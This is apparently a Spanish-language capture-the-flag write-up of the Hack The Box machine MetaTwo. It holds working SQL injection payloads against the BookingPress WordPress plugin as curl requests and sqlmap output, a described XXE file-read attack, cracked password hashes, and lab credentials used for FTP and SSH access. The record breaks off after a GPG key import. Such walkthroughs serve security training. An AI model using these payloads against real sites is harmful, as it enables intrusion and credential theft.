En MetaTwo encontramos dos plugins de WordPress vulnerables a Inyeccion SQL y XXE, lo que nos permitio acceder al servicio FTP, en consecuencia a un primer usuario. Finalmente escalamos privilegios tras desencriptar un archivo que contenia la contraseña del usuario root.
# Nmap 7.92 scan initiated Sat Nov 26 15:39:50 2022 as: nmap -p21,22,80 -sV -sC -oN nmap_scan 10.10.11.186Nmap scan report for 10.10.11.186 (10.10.11.186)Host is up (0.29s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp?
| fingerprint-strings:
| GenericLines:
|220 ProFTPD Server (Debian)[::ffff:10.10.11.186]| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)| ssh-hostkey:
|3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)|256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)|_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=11/26%Time=638287B3%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10
SF:\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr
SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creativ
SF:e\r\n");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 26 15:43:36 2022 -- 1 IP address (1 host up) scanned in 225.81 seconds
Web Site
Los headers del sitio muestran una redirección al dominio metapress.htb.
Basados en las solicitudes realizadas por la creación del nuevo evento descubrimos el plugin BookingPress, asi mismo encontramos la vulnerabilidad Unauthenticated SQL Injection.
Utilizando el modo agresivo para enumeración de plugins de wpscan, tambien logró detectar el plugin bookingpress, entre otros, aunque esta forma toma mucho tiempo.
[i] Plugin(s) Identified:
[+] bookingpress-appointment-booking
| Location: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/
| Last Updated: 2022-12-13T11:42:00.000Z
| Readme: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt
|[!] The version is out of date, the latest version is 1.0.49
|| Found By: Known Locations (Aggressive Detection)| - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/, status: 200|| Version: 1.0.10 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)| - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt
| Confirmed By: Translation File (Aggressive Detection)| - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/languages/bookingpress-appointment-booking-en_US.po, Match: 'sion: BookingPress Appointment Booking v1.0.10'[+] feed
| Location: http://metapress.htb/wp-content/plugins/feed/
|| Found By: Known Locations (Aggressive Detection)| - http://metapress.htb/wp-content/plugins/feed/, status: 200|| The version could not be determined.
[+] leira-roles
| Location: http://metapress.htb/wp-content/plugins/leira-roles/
| Latest Version: 1.1.8.0 (up to date)| Last Updated: 2022-05-05T05:13:00.000Z
| Readme: http://metapress.htb/wp-content/plugins/leira-roles/README.txt
|| Found By: Known Locations (Aggressive Detection)| - http://metapress.htb/wp-content/plugins/leira-roles/, status: 200|| Version: 1.1.8.0 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)| - http://metapress.htb/wp-content/plugins/leira-roles/README.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)| - http://metapress.htb/wp-content/plugins/leira-roles/README.txt
Con el PoC logramos obtener la version de MySQL, entre otros valores
1
2
3
➜ metatwo curl -s metapress.htb/wp-admin/admin-ajax.php --data 'action=bookingpress_front_get_category_services&_wpnonce=fc0046577c&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]➜ metatwo
También observamos el PoC de Time Based.
1
2
3
4
5
➜ metatwo date && curl -s metapress.htb/wp-admin/admin-ajax.php --data 'action=bookingpress_front_get_category_services&_wpnonce=fc0046577c&category_id=1&total_service=1) AND (SELECT 9578 FROM (SELECT(SLEEP(10)))iyUp)-- ZmjH'&&echo&& date
sáb 26 nov 2022 16:25:43 CST
[{"bookingpress_service_id":"1","bookingpress_category_id":"1","bookingpress_service_name":"Startup meeting","bookingpress_service_price":"$0.00","bookingpress_service_duration_val":"30","bookingpress_service_duration_unit":"m","bookingpress_service_description":"Join us, we will celebrate our startup!","bookingpress_service_position":"0","bookingpress_servicedate_created":"2022-06-23 18:02:38","service_price_without_currency":0,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]sáb 26 nov 2022 16:25:54 CST
➜ metatwo
Utilizamos sqlmap para obtener el nombre de las bases de datos, utilizando la la solicitud donde se encuentra la vulnerabilidad.
➜ metatwo sqlmap -r book_cat.req --batch --level 3 risk 3 -p total_service --risk 3 --level 3 --dbms mysql --dbs
___
__H__
___ ___["]_____ ___ ___ {1.6.9#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:33:38 /2022-11-26/
[16:33:38] [INFO] parsing HTTP request from 'book_cat.req'
[16:33:38] [WARNING] provided value for parameter 'total_service' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:33:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: total_service (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: action=bookingpress_front_get_category_services&category_id=1&total_service=-9741) OR 1325=1325-- gulF&_wpnonce=fc0046577c
Type: UNION query
Title: Generic UNION query (random number) - 9 columns
Payload: action=bookingpress_front_get_category_services&category_id=1&total_service=-9794) UNION ALL SELECT 8577,8577,8577,8577,8577,CONCAT(0x7162786271,0x6168497959646e647a66706f626d4964534e654e6350536b4f6b6e784b505156566d4b516a467842,0x71717a7871),8577,8577,8577-- -&_wpnonce=fc0046577c
---
[16:33:39] [INFO] testing MySQL
[16:33:39] [INFO] confirming MySQL
[16:33:40] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0, PHP 8.0.24
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[16:33:40] [INFO] fetching database names
available databases [2]:
[*] blog
[*] information_schema
[16:33:40] [INFO] fetched data logged to text files under '/home/kirby/.local/share/sqlmap/output/metapress.htb'
[*] ending @ 16:33:40 /2022-11-26/
➜ metatwo
Logramos obtener usuarios y hashes, de admin y manager.
➜ metatwo cat hashes
$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
➜ metatwo john hashes -show
?:partylikearockstar
1 password hash cracked, 1 left
➜ metatwo
WordPress - Manager
Logramos ingresar al panel de control como manager, sin embargo no encontramos alguna herramienta que nos permitiera escalar privilegios o ejecutar comandos.
XXE - Media Library
Al regresar a la version de WordPress nos topamos con XXE en Media Library de WordPress, esto dentro de un archivo .wav.
Realizamos la explotación creando el archivo .wav con el payload especificando la dirección url de nuestro servidor http, asi mismo el archivo .dtd donde se especifica el archivo que deseamos leer con la codificacion zlib y base64.
Es posible realizar lo anterior utilizando un exploit que realiza automatiza todo el trabajo. Se especifican las credenciales, el archivo a leer y lhost. En esta solicitud observamos el contenido del archivo wp-config.php donde encontramos credenciales para el servicio FTP
➜ www ftp
ftp> o ftp.metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian)[::ffff:10.10.11.186]Name (ftp.metapress.htb:kirby): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
226 Transfer completeftp> pwd257"/" is the current directory
ftp> cd blog
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 metapress.htb metapress.htb 405 Feb 62020 index.php
[.. snip ..]-rw-r--r-- 1 metapress.htb metapress.htb 3236 Jun 82020 xmlrpc.php
226 Transfer completeftp> cd ..
250 CWD command successful
ftp> cd mailer
ls250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 14:12 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 18:32 send_email.php
226 Transfer completeftp> ls PHPMailer
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 metapress.htb metapress.htb 2092 Jun 20 09:21 COMMITMENT
[.. snip ..]-rw-r--r-- 1 metapress.htb metapress.htb 5 Jun 20 09:21 VERSION
226 Transfer completeftp> get send_email.php
local: send_email.php remote: send_email.php
200 PORT command successful
150 Opening BINARY mode data connection for send_email.php (1126 bytes)226 Transfer complete1126 bytes received in 0.00 secs (624.7781 kB/s)ftp>
ftp>
Tras descargar este archivo, descubrimos credenciales para el usuario jnelson.
➜ www cat send_email.php
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\SMTP;use PHPMailer\PHPMailer\Exception;require 'PHPMailer/src/Exception.php';require 'PHPMailer/src/PHPMailer.php';require 'PHPMailer/src/SMTP.php';$mail= new PHPMailer(true);$mail->SMTPDebug = 3;$mail->isSMTP();$mail->Host ="mail.metapress.htb";$mail->SMTPAuth = true;$mail->Username ="jnelson@metapress.htb";$mail->Password ="Cb4_JmWM8zUZWMu@Ys";$mail->SMTPSecure ="tls";$mail->Port = 587;$mail->From ="jnelson@metapress.htb";$mail->FromName ="James Nelson";$mail->addAddress("info@metapress.htb");$mail->isHTML(true);$mail->Subject ="Startup";$mail->Body ="<i>We just started our new blog metapress.htb!</i>";try {$mail->send();echo"Message has been sent successfully";} catch (Exception $e){echo"Mailer Error: " . $mail->ErrorInfo;}➜ www
Shell
Utilizando estas credenciales por SSH logramos obtener una shell y nuestra flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ www ssh jnelson@metapress.htb # Cb4_JmWM8zUZWMu@Ysjnelson@metapress.htb's password:
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$ whoami
jnelson
jnelson@meta2:~$ ls
user.txt
jnelson@meta2:~$
Privesc
Explorando los archivos locales encontramos el archivo de configuración y las “keys” de passpie, un manejador de contraseñas por terminal.
Tras ejecutar john logramos obtener la contraseña.
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ metatwo john --wordlist=$ROCK key_2_hash
Using default input encoding: UTF-8
Loaded 1 password hash(gpg, OpenPGP / GnuPG Secret Key [32/64])Cost 1(s2k-count) is 65011712for all loaded hashes
Cost 2(hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2for all loaded hashes
Cost 3(cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182 (Passpie)1g 0:00:00:02 DONE (2022-11-26 17:59) 0.3367g/s 55.21p/s 55.21c/s 55.21C/s ginger..blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed
➜ metatwo
Decrypt files
Importamos la clave localmente, ingresamos la contraseña encontrada por John.
1
2
3
4
5
6
7
8
➜ metatwo gpg --import key_2 # blink182gpg: key 387775C35745D203: "Passpie (Auto-generated by Passpie) <passpie@local>" not changed
gpg: key 387775C35745D203: secret key imported
gpg: Total number processed: 1gpg: unchanged: 1gpg: secret keys read: 1gpg: secret keys imported: 1➜ metatwo